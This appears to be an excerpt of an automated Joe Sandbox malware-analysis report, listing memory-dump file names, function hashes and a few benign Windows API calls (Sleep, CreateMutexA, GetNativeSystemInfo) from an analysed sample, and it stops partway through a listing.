Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d25e135d48cce89824f9af0651f234f871460e3eb77ab472feb18203d8fa7e25
Instruction ID: f6378dc84b90b37cedaceccb7c935663b0298531b23ead23485f5d1ab9c5360f
Opcode Fuzzy Hash: d25e135d48cce89824f9af0651f234f871460e3eb77ab472feb18203d8fa7e25
Instruction Fuzzy Hash: 3A314A316052049BEB1CDB78DDD9BACBF72EF85318F648228E414D72D2DB3999C18752

Function 0011A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0011A963
CreateMutexA.KERNEL32(00000000,00000000,00173254), ref: 0011A981

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6b767c67b73d3293ee5ed994b24bd3f7fe2409fb52d4dedb01b895060e7779ae
Instruction ID: a7482cae114a57f6e061b75bea754b6e4dd761bb0a349ec39b1b7f5b96b5aa18
Opcode Fuzzy Hash: 6b767c67b73d3293ee5ed994b24bd3f7fe2409fb52d4dedb01b895060e7779ae
Instruction Fuzzy Hash: D63116316012049BEB1CDB78DDD9BADBF72DF81318F648228E424D72E5DB3699C18652

Function 00119ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0011A963
CreateMutexA.KERNEL32(00000000,00000000,00173254), ref: 0011A981

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: e53df62dcf1dde26b92414d1f8e62c7f31dc8ba317f010c7913c3a61ebf64cb4
Instruction ID: 91cf241a54f6541d476819504b41480eee1017b56b67cea5ca88d33bcaae7c30
Opcode Fuzzy Hash: e53df62dcf1dde26b92414d1f8e62c7f31dc8ba317f010c7913c3a61ebf64cb4
Instruction Fuzzy Hash: 862179317042049BEB1C9B68ECE9BACBB21EFC1318F204228E428C72E1CB7569C18752

Function 0011A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0011A963
CreateMutexA.KERNEL32(00000000,00000000,00173254), ref: 0011A981

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ba16c2a85b11b9d3d353ea231c5b91d44776636c4083cd1e21ea98259aa54035
Instruction ID: f4b1fddef55df1bcbf823d58df87e0174e93842c7c289e5f34832703443c4150
Opcode Fuzzy Hash: ba16c2a85b11b9d3d353ea231c5b91d44776636c4083cd1e21ea98259aa54035
Instruction Fuzzy Hash: 39214F7124A2049AFF2C67AC9CA67BDBA21DF91305F640536E608D63D2CF7A59C18193

Function 0011A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0011A963
CreateMutexA.KERNEL32(00000000,00000000,00173254), ref: 0011A981

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 66e846970ce9a2ae95560d03aeb7632a8e476133d172a2b227770dcb72b92d2b
Instruction ID: 107734e0b10d25a965128a6465d6a15b94be7d318ac9fc5ed12385034dcdf96a
Opcode Fuzzy Hash: 66e846970ce9a2ae95560d03aeb7632a8e476133d172a2b227770dcb72b92d2b
Instruction Fuzzy Hash: 0D217C317152049BEB1C9B68EC957ACBF32EFD1318F344229E428D76D1CB3659C08652

Function 00117D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00117ED3

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
